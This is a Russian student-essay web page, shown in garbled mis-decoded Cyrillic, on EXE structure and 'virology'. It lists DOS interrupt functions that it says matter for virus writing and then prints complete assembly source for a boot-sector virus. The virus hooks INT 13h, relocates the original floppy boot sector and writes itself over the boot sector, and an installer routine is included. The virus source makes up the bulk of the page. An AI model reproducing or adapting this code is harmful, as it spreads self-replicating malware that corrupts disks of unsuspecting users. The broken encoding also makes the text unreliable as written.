|
|
|
Ðåôåðàò: Ñåìàíòè÷åñêèé àíàëèç ñòðóêòóðû EXE ôàéëà è äèñàññåìáëåð (ñ ïðèìåðàìè è èñõîäíèêàìè), âèðóñîëîãèÿDOS, ôóíêöèÿ 41h DOS, ôóíêöèÿ 43h DOS, ôóíêöèÿ 44h DOS, ôóíêöèÿ 4Bh DOS, ôóíêöèÿ 4Ch DOS, ôóíêöèÿ 57h DOS, ôóíêöèÿ 5Ah DOS, ôóíêöèÿ 68h Ñïèñîê íàèáîëåå ÷àñòî èñïîëüçóåìûõ ôóíêöèé DOS.(àññåìáëåð ïðèìåð) [AK] Âîò ñïèñîê ôóíêöèé, êîòîðûå âàæíî ïîìíèòü ïðè ðàçðàáîòêå âèðóñîâ: Óñòàíîâèòü àäðåñ DTA. ~~~~~~~~~~~~~~~~~~~~~ âõîä: ah = 1Ah ds:dx = àäðåñ âûõîä: íåò
Ïîëó÷èòü àäðåñ DTA. ~~~~~~~~~~~~~~~~~~~ âõîä: ah = 2Fh âûõîä: es:bx = òåêóùèé àäðåñ
Create - Ñîçäàòü ôàéë. ~~~~~~~~~~~~~~~~~~~~~ âõîä: ah = 3Ch cx = àòðèáóòû ôàéëà (òàá 1) ds:dx = ïóòü è èìÿ ôàéëà â ôîðìàòå asciz âûõîä: if CF=0 then ax = äåñêðèïòîð ôàéëà else ax = êîä îøèáêè (3,4,5) (òàá 2)
Open - Îòêðûòü ñóùåñòâóþùèé ôàéë ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ âõîä: ah = 3Dh al = ðåæèì äîñòóïà (òàá 2) cx = àòðèáóòû ds:dx = èìÿ âûõîä: if CF=0 then ax = äåñêðèïòîð ôàéëà else ax = êîä îøèáêè (1,2,3,4,5,0C)
Close - Çàêðûòü ôàéë ~~~~~~~~~~~~~~~~~~~~ âõîä: ah = 3Eh bx = äåñêðèïòîð ds:dx = èìÿ âûõîä: if CF=0 then ax = else ax = êîä îøèáêè (6)
Read - ×òåíèå èç ôàéëà ~~~~~~~~~~~~~~~~~~~~~~ âõîä: ah = 3Fh bx = äåñêðèïòîð cx = ÷èñëî áàéò ds:dx = áóôåð äëÿ ÷òåíèÿ âûõîä: if CF=0 then ax = ÷èñëî ïðî÷èòàííûõ áàéò Ýòî çíà÷åíèå ìîæåò áûòü ìåíüøå CX. Íàïðèìåð ïîòîìó, ÷òî ïðåâûñèëè äëèíó ôàéëà. else ax = êîä îøèáêè (5,6) Write - Çàïèñàòü â ôàéë ~~~~~~~~~~~~~~~~~~~~~~~ âõîä: ah = 40h bx = äåñêðèïòîð cx = ÷èñëî áàéò ds:dx = äàííûå äëÿ çàïèñè âûõîä: if CF=0 then ax = ÷èñëî çàïèñàííûõ áàéò else ax = êîä îøèáêè (5,6)
Unlink - Óäàëèòü ôàéë ~~~~~~~~~~~~~~~~~~~~~ âõîä: ah = 41h cx = àòðèáóòû ds:dx = èìÿ âûõîä: if CF=0 then ax = else ax = êîä îøèáêè (2,3,5)
LSeek - Óñòàíîâèòü óêàçàòåëü â ôàéëå ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ âõîä: ah = 42h al = òî÷êà îòñ÷åòà óêàçàòåëÿ: 0 - îò íà÷àëà ôàéëà 1 - îò òåêóùåãî ïîëîæåíèÿ 2 - îò êîíöà bx = äåñêðèïòîð cx:dx = ñìåùåíèå (cx=ñòàðøèå 16 áèò, dx=ìëàäøèå) âûõîä: if CF=0 then dx:ax = íîâîå ïîëîæåíèå óêàçàòåëÿ îòíîñèòåëüíî íà÷àëà else ax = êîä îøèáêè (1,6)
Ïîëó÷èòü àòðèáóòû ôàéëà ~~~~~~~~~~~~~~~~~~~~~~~ âõîä: ax = 4300h ds:dx = èìÿ âûõîä: if CF=0 then cx = àòðèáóòû else ax = êîä îøèáêè (1,2,3,5)
Chmod - Óñòàíîâèòü àòðèáóòû ôàéëà ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ âõîä: ax = 4301h cx = íîâûå àòðèáóòû ds:dx = èìÿ âûõîä: if CF=0 then ax = else ax = êîä îøèáêè (1,2,3,5) Âûäåëèòü áëîê ïàìÿòè ~~~~~~~~~~~~~~~~~~~~ âõîä: ah = 48h bx = ðàçìåð áëîêà â ïàðàãðàôàõ âûõîä: if CF=0 then ax = ñåãìåíò áëîêà else ax = êîä îøèáêè (7,8) bx = ðàçìåð íàèáîëüøåãî äîñòóïíîãî áëîêà Îñâîáîäèòü ïàìÿòü ~~~~~~~~~~~~~~~~~ âõîä: ah = 49h es = ñåãìåíò áëîêà âûõîä: if CF=0 then ax = else ax = êîä îøèáêè (7,9) Èçìåíèòü ðàçìåð áëîêà ïàìÿòè ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ âõîä: ah = 4Ah bx = íîâûé ðàçìåð es = ñåãìåíò âûõîä: if CF=0 then ax = else ax = êîä îøèáêè (7,8,9) bx = ðàçìåð íàèáîëüøåãî äîñòóïíîãî áëîêà Exec - çàãðóçèòü èëè âûïîëíèòü ïðîãðàììó. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ âõîä: ah = 4Bh al = òèï çàãðóçêè: 0 - çàãðóçèòü è âûïîëíèòü 1 - çàãðóçèòü è íå âûïîëíÿòü 3 - çàãðóçèòü îâåðëåé 4 - çàãðóçèòü è âûïîëíèòü â ôîíîâîì ðåæèìå (dos 4.0) es:bx = áëîê ïàðàìåòðîâ (òàá 3) ds:dx = èìÿ ïðîãðàììû âûõîä: if CF=0 then bx,dx ðàçðóøåíû else ax = êîä îøèáêè (1,2,5,8,0A,0B) Ïðèìåð ýëåìåíòàðíîãî BOOT-âèðóñà: .286 .model tiny .code org 00h start: jmp install ;jmp fkñ table: ; À âîò òóò áóäåò òàáëèöà äèñêà org 4ch ; ìíîãî ìåñòà åé, íî... fkñ: nop ; xor di,di ; îáíóëèì èõ mov ds,di ; DS=0 cli ; mov ss,di ; SS=0 mov si,7c00h ; SI - àäðåñ â ïàìÿòè, òàì ìû ; íà÷èíàåìñÿ. mov bx,si ; çàïîìíèì ýòî... åùå ïðèãîäèòñÿ mov sp,si sti dec word ptr ds:[0413h] ; ñòîêà ïàìÿòè äîñ mov ax,ds:[0413h] ; â ÀÕ ðàçìåð äîñ-ïàìÿòè â êèëîáàéòàõ mov cl,06 ; ÷òîáû ïîëó÷èòü ñåãìåíò íàäî ÷èñëî shl ax,cl ; êèëîáàéò óìíîæèòü íà 40h ; íåìíîãî àðèôìåòèêè - ñåãìåíò ñ÷èòàþò ; îò íà÷àëà ïàìÿòè â ïàðàãðàôàõ, ïàðà- ; ãðàô=10h áàéò, 40h ïàðàãðàôîâ=400h ; áàéò=1êÁò. äàëüøå âñå ÿñíî. mov es,ax ; ES=àäðåñ íîâîãî ñåãìåíòà push ax ; â ñòåê åãî - áóäåì äåëàòü ïåðåõîä mov ax,offset inst_int ; íà ýòî âîò ñìåùåíèå push ax ; è åãî â ñòåê òîæå mov cx,200h ; íî ñïåðâà íàäî ïåðåíåñòè ñâîå òåëî cld ; â ýòîò âîò ñåãìåíò rep movsb ; ïåðåíîñèì retf ; ïåðåõîä ÷åðåç ñòåê inst_int: ; çäåñü ìû óæå â íîâîì ñåãìåíòå mov ax,ds:[13h*4] ; INT 0E0h=INT 13h original mov ds:[0e0h*4],ax ; mov ax,ds:[13h*4+2] ; mov ds:[0e0h*4+2],ax ; mov word ptr ds:[13h*4],offset int13 ; INT 13h=íàø îáðàáîò÷èê mov ds:[13h*4+2],cs ; xor cx,cx push cx ; ñíîâà ïîäãîòîâêà ê ïåðåõîäó push bx ; ÷åðåç ñòåê â òî÷êó 0000:7C00h mov es,cx mov ax,0201h ; ÷èòàòü íîðìàëüíûé áóò-ñåêòîð mov cx,cs:floppy_sect ; âîò îòñþäà åãî è ÷èòàòü mov dh,cs:floppy_head ; xor dl,dl ; ñ äèñêà À: åñòåñòâåííî int 0e0h ; âûçîâ îðèãèíàëüíîãî INT 13h run_boot: retf ; çàïóñòèòü áóò. ;------ *** Hàø îáðàáîò÷èê INT 13h *** ------- int13: mov cs:shit,ax ; ñîõðàíèì ax int 0e0h ; âûïîëíèì îïåðàöèþ jnc int_continue ; åñëè áûëà îøèáêà óõîäèì jmp int_exit int_continue: pushf ; ôëàãè çàïîìíèòü íàäî! cmp byte ptr cs:[shit+1],2 ; reading sectors? jnz g1 cmp cx,0001 jne g1 cmp dh,0 ; ÷èòàåì áóò jne g1 cmp dl,01 ; íå ñ âèíòà íàäåþñü? jna fkñ_boot g1: jmp get_out ;------------- Îáðàáîò÷èê ÷òåíèÿ áóòà ñ äèñêåòû --------------- fkñ_boot: pusha push ds es push es pop ds lea di,fkñ ; ñðàâíèì òî ÷òî ó íàñ ïî ñìåùåíèþ fkñ mov ax,cs:[di] ; ñ òåì ÷òî ìû ïðî÷èòàëè ïî òîìó æå ñìåùåíèþ mov si,bx ; Òàê ìû ïðîâåðÿåì çàðàæåí ëè add si,offset fkñ ; óæå íàìè áóò-ñåêòîð cmp ax,[si] ; jz exit_boot_work ; åñëè íåò òî óéäåì îòñþäà cmp dl,1 ; íà âñÿêèé ïîæàðíûé :)  ïðèíöèïå ìîæåòå ja exit_boot_work ; ýòó ïðîâåðêó âûêèíóòü - îíà óæå áûëà find_place: ; ïîèñê ìåñòà êóäà ïðÿòàòü ñòàðûé áóò-ñåêòîð mov ax,[bx+16h] ; ax=÷èñëî ñåêòîðîâ â FAT mul byte ptr [bx+10h] ; óìíîæèì åãî íà ÷èñëî FAT add ax,[bx+0eh] ; ïðèáàâèì ÷èñëî ðåçåðâíûõ ñåêòîðîâ äëÿ FAT-- push dx ; çàïîìíèì dx - òàì íîìåð äèñêà è ñòîðîíà | mov cl,4 ; | mov dx,[bx+11h] ; dx=÷èñëî ýëåìåíòîâ êîðíåâîãî êàòàëîãà | ; 1 ýëåìåíò çàíèìàåò 32 áàéòà | shr dx,cl ; ïîäåëèì åãî íà 16 - ïîëó÷èì ÷èñëî ñåêòðîâ | ; êîðíÿ, âðîäå áû òàê... | add ax,dx ; ïðèáàâèì ê AX------------------------------ dec ax ; óìåíüøèì íà 1 ; â AX ïîðÿäêîâûé íîìåð ïîñëåäíåãî ñåêòîðà ; ROOT'a... ??? mov cx,[bx+18h] ; cx=÷èñëî ñåêòîðîâ íà äîðîæêå push cx ; çàïîìíèì åãî shl cx,1 ; óìíîæèì íà 2 xor dx,dx ; dx=0 div cx ; ïîäåëèì DX:AX íà CX pop cx ; âûòàùèì CX èç ñòåêà - òàì ÷èñëî ñåêòîðîâ íà ; äîðîæêå áûëî push ax ; çàïîìíèì ÷àñòíîå îò ïðåäûäóùåãî äåëåíèÿ mov ax,dx ; â AX çàíåñåì îñòàòîê îò äåëåíèÿ xor dx,dx ; DX=0 div cx ; ïîäåëèì åùå ðàç mov dh,al ; DH=íîìåð ãîëîâêè mov cl,dl ; CL=íîìåð ñåêòîðà pop ax ; âûêèíåì AX mov ch,al ; CH=íîìåð äîðîæêè inc cl ; ïðèáàâèì ê íåìó 1 pop ax ; AX=áûâøåå DX - òàì áûëà ñòîðîíà è íîìåð ; äèñêîâîäà mov dl,al ; íîìåð â DL mov cs:floppy_sect,cx ; òî ÷òî ïîëó÷èëîñü çàïîìíèì mov cs:floppy_head,dh ;---------all found dh,cx rules--------- mov ax,0301h ; çàïèñàòü ñòàðûé áóò êóäà íàäî int 0e0h jc exit_boot_work ; åñëè áûëà îøèáêà - ïðåêðàòèòü ðàáîòó ; ÷òîáû íå óáèòü äèñê ñîâñåì ; ìîæíî ýòîãî è íå äåëàòü, åäâà ëè ÷òî ; ñëó÷èòñÿ - âåðîÿòíîñòü òîãî ÷òî âû÷èñëåííûé ; íàìè ñåêòîð BAD î÷åíü íèçêà, íî... push cs pop es lea di,table ; ñêîïèðóåì èç áóòà â ñâîå òåëî òàáëèöó mov si,bx ; ïàðàìåòðîâ äèñêà add si,offset table ; mov cx,4ch-3 ; rep movsb ; push cs pop es mov ax,0301h ; çàïèøåìñÿ â áóò-ñåêòîð xor bx,bx mov cx,0001 xor dh,dh int 0e0h exit_boot_work: pop es ds ; âîññòàíîâèì âñå ÷òî óáèëè popa get_out: popf ; è ôëàãè îáÿçàòåëüíî int_exit: retf 2 ; âûõîä èç ïðåðûâàíèÿ ;-------------data block-------------- floppy_sect dw 2f08h floppy_head db 01 shit dw 0 org 510 sign dw 0aa55h ; ÷òîáû íå âûäàâàëè ñîîáùåíèÿ NDD è ïðî÷èå... ; ýòî ïðîñòî ìåòêà ñèñòåìíîãî ñåêòîðà ; ----- Èíñòàëëÿòîð âèðóñà â áóò äèñêåòû ----- install: mov cs:[0000],4aebh mov byte ptr cs:[0002],090h ; íóæíàÿ êîìàíäà push ds xor ax,ax mov ds,ax mov ax,ds:[13h*4] mov ds:[0e0h*4],ax mov ax,ds:[13h*4+2] mov ds:[0e0h*4+2],ax mov word ptr ds:[13h*4],offset int13 mov ds:[13h*4+2],cs pop ds push cs pop es mov ax,0201h mov cx,0001 mov dx,0000 mov bx,offset our_buffer int 13h xor ax,ax mov ds,ax mov ax,ds:[0e0h*4] mov ds:[13h*4],ax mov ax,ds:[0e0h*4+2] mov ds:[13h*4+2],ax mov ax,4c00h int 21h our_buffer: end start Ñóùåñòâóþò î÷åíü ìíîãî âèðóñîâ, ïîä ðàçíûå îïåðàöèîííûå ñèñòåìû, èìåþùèå ðàçëè÷íûå öåëè, íàïèñàííûå íà ðàçíûõ ÿçûêàõ âûñîêîãî è íèçêîãî óðîâíåé. |
|
|||||||||||||||||||||||||||||
 |
|||||||||||||||||||||||||||||||
|
|||||
Ðåôåðàòû áåñïëàòíî, ðåôåðàò áåñïëàòíî, êóðñîâûå ðàáîòû, ðåôåðàò, äîêëàäû, ðåôåðàòû, ðåôåðàòû ñêà÷àòü, ðåôåðàòû íà òåìó, ñî÷èíåíèÿ, êóðñîâûå, äèïëîìû, íàó÷íûå ðàáîòû è ìíîãîå äðóãîå. |
||
Ïðè èñïîëüçîâàíèè ìàòåðèàëîâ - ññûëêà íà ñàéò îáÿçàòåëüíà. |
||
